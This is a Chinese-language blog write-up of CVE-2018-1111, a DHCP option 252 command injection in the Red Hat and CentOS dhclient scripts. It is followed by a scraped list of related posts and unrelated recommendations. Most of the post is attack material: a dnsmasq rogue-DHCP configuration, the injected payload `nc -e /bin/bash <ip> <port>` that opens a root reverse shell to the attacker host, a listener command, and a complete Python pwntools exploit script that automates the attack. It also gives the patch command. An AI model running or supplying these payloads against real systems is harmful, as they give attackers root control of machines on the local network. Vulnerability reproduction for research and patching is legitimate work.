0x01 漏洞概述

近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。

0x02 影响版本

Red Hat Enterprise Linux Server 6

Red Hat Enterprise Linux Server 7

CentOS 6

CentOS 7

0x03 漏洞详情

DHCP 是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。

使用单引号使参数值逃逸成功,导致了命令执行

--dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

0x04 漏洞复现

复现时需要注意的点:

1.两台虚拟机的网络适配器都需要设置为 仅主机模式

2.停用主机模式的DHCP服务LS8 z( D/ M0 ~& J2 f9 l

环境

攻击机:kali 2018.2
受害机:centos7

去下载了清华镜像站里的centos 7

https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/CentOS-7-x86_64-DVD-1708.iso
vmware12.0

设置网络

这里我用 vmware 虚拟机来实现,两个系统都是连接到 VMnet1 网卡上(仅主机模式),并且关闭网卡上的
DHCP 服务。

接着我们开始配置 kali 上的 dhcp 服务器,dnsmasq
是一个小巧且方便地用于配置 DNS 和 DHCP 的工具,适用于小型网络,它提供了 DNS 功能和可选择的 DHCP 功能,可以快速搭建一个 DNS 服务或者 DHCP 服务。

对kali做配置

先对kali下的ip进行静态配置并添加路由,命令如下:

ifconfig eth0  192.168.71.5  netmask 
255.255.255.0

route add default gw 192.168.71.5

首先我们创建一个 dnsmasq 需要使用到的配置文件 /etc/dnsmasq.conf,内容如下:

Vim  /etc/dnsmassq.conf

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.71.10,192.168.71.30,22h

dhcp-option=3,192.168.131.5

dhcp-option=6,192.168.131.5

log-queries

log-facility=/var/log/dnsmasq.log

参数解释:

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间

dhcp-option: 表示指定给 DHCP 客户端的选项信息

log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

3: 设置网关地址选项

6: 设置 DNS 服务器地址选项

252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf 中的 dhcp-range 我设置

为 192.168.71.10-192.168.71.30/24 这个 ip 地址范围,租约时间为 12h。

dhcp-option 3 网关地址和 dhcp-option6
DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。修改好 /etc/dnsmasq.conf 配置文件之后,还不能直接启动 dnsmasq 服务。

利用dnsmasq伪造dns服务器,命令执行 payload 如下:

dnsmasq -dC dnsmasq.conf
--dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"

这里的 -d 表示调试模式,-C 表示指定配置文件运行 dnsmasq 服务,更多有关 dnsmasq 的命令详解可以用 man dnsmasq 查看。

命令执行的效果是通过 nc 反弹 shell 到 192.168.71.5 的 6666 端口,所以需要在 kali 开启 nc 端口监听,命令如下:

nc -l -p 6666 -v

攻击

现在centos设置成dhcp获取ip地址,重启一下网卡!此时 Centos 需要重启网络服务,获取 DHCP 服务器下发的 ip 地址,这里可以看到获取到了 ip 地址 192.168.71.18

命令如下:

/etc/init.d/network  restart

已经显示获取到了IP 了 ,看看kali 这边的情况吧

此时在kali的nc可以拿到centos的shell,且为root权限

0x05 漏洞原理

单引号在脚本逃逸了,直接以root权限执行了脚本。

dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #”

0x06 修复方法

#yum update dhclient

#rpm -qa --changelog dhclient | grep
CVE-2018 - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse
backslash as escape character

Ox7 利用exp

#/usr/bin/python

#encoding = utf-8

from pwn import *

import os

import sys

import time

# author : xyzz@chamd5.org

# time : 20180520

ip='192.168.131.52'

port=1314

# context.log_level='debug'

def pwn(ip,port):

f=open('dnsmasq.conf','w')

start = ip[:ip.rfind('.')]+'.10'

end = ip[:ip.rfind('.')]+'.30'

dnsmasq = '''

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range={start},{end},22h

dhcp-option=3,{ip}

dhcp-option=6,{ip}

log-queries

log-facility=/var/log/dnsmasq.log

'''.format(ip=ip,start=start,end=end)

f.write(dnsmasq)

f.close()

cm=[]

cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip))

cm.append('route add default gw {ip}'.format(ip=ip))

cm.append('''dnsmasq -dC dnsmasq.conf
--dhcp-option="252,'&nc -e /bin/bash {ip} {port}
#"'''.format(ip=ip,port=port))

q=process('bash')

for i in range(len(cm)-1):

q.sendline(cm[i])

time.sleep(1)

# time.sleep(100)

p=process('bash')

p.sendline('nc -l -p {port} -v'.format(port=port))

q.sendline(cm[-1])

time.sleep(3)

p.interactive()

# q.interactive()

if __name__ == '__main__':

pwn(ip,port)

 
 
 
 

CVE-2018-1111劫持dhcp造成centos代码执行漏洞的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  3. WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞

    漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...

  4. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  5. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  6. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  7. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

  8. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  9. Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass

    0x00 漏洞简介 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞. 漏洞CVE编号:CVE-2017-12615和CVE-2017-12616. 其中 远程代码执行漏洞 ...

随机推荐

  1. 32bit GM命令

    GM 命令[32位服务端GM命令] //announce message this basicly tells a announcement on the whole server.. you can ...

  2. Redis源码阅读(三)集群-连接初始化

    Redis源码阅读(三)集群-连接建立 对于并发请求很高的生产环境,单个Redis满足不了性能要求,通常都会配置Redis集群来提高服务性能.3.0之后的Redis支持了集群模式. Redis官方提供 ...

  3. windows的滚动条使用

    背景 在毕业快一年的工作时间中,对windows编程的某些特性并不够熟悉,例如滚动条的使用.在一次需求中需要用到滚动条,在开发过程中走了不少弯路,因此需要做一些笔记总结一下学习到的内容. 先推荐几个写 ...

  4. Final冲刺贡献分

    小组名称:Hello World! 项目名称:空天猎 组长:陈建宇 成员:刘成志.刘耀泽.刘淑霞.黄泽宇.方铭.贾男男 一.贡献分数规则: (1)基础分:5 , 4 ,4 , 3 , 2 ,2 ,1. ...

  5. TeamWork#3,Week5,Scrum Meeting 11.6, 11.7, 11.11, 11.12

    11.6:到目前为止基本已完成相关知识的学习,各方面工作都开始进行,一开始进行比较慢. 11.7:项目遇到困难,需要补充相关知识,进度慢了下来. 11.11:各方面工作进展比较顺利,没有什么大问题. ...

  6. TeamWork#2,Week 2,We are sixsix!

    We are sixsix! (从左至右依次是:郝倩.张志浩.高雅智[高哥].牛强.张明培育.彭林江.王卓) 郝倩,来自120617班,我们组7个成员中唯一一个6行政班以外的成员.为了达成组队条件,彭 ...

  7. AloneQIan---第一次作业

    小学生的噩梦 一.估计与实际 PSP2.1 Personal Software Process Stages 预估耗时(分钟) 实际耗时(分钟) Planning 计划 600 720 • Estim ...

  8. cnblogs用户体验及建议

    一.是否提供了良好的体验给用户(同时提供价值)? 我觉得博客园还是给用户提供了良好的用户体验的,它可以从用户的角度考虑,用户在注册的时候,用户自己在设置用户名和密码的时候,如果与他人重复会有提示,而且 ...

  9. C# 打包

    开发环境:VS2010+SQL Server 2008 操作系统:win7_32bit 旗舰版 开发语言:C# 项目名称:学生寄宿管理系统 下面开始介绍:如何给windows应用程序打包? 第一步: ...

  10. Hibernate笔记②--hibernate类生成表、id生成策略、级联设置、继承映射

    一.多表的一个关联关系 老师和学生是一对多的关系 student:tid属性 外键约束 对应teacher表中的id属性 teacher:id 在myeclipse的db窗口中选中两个表来生成类.   ...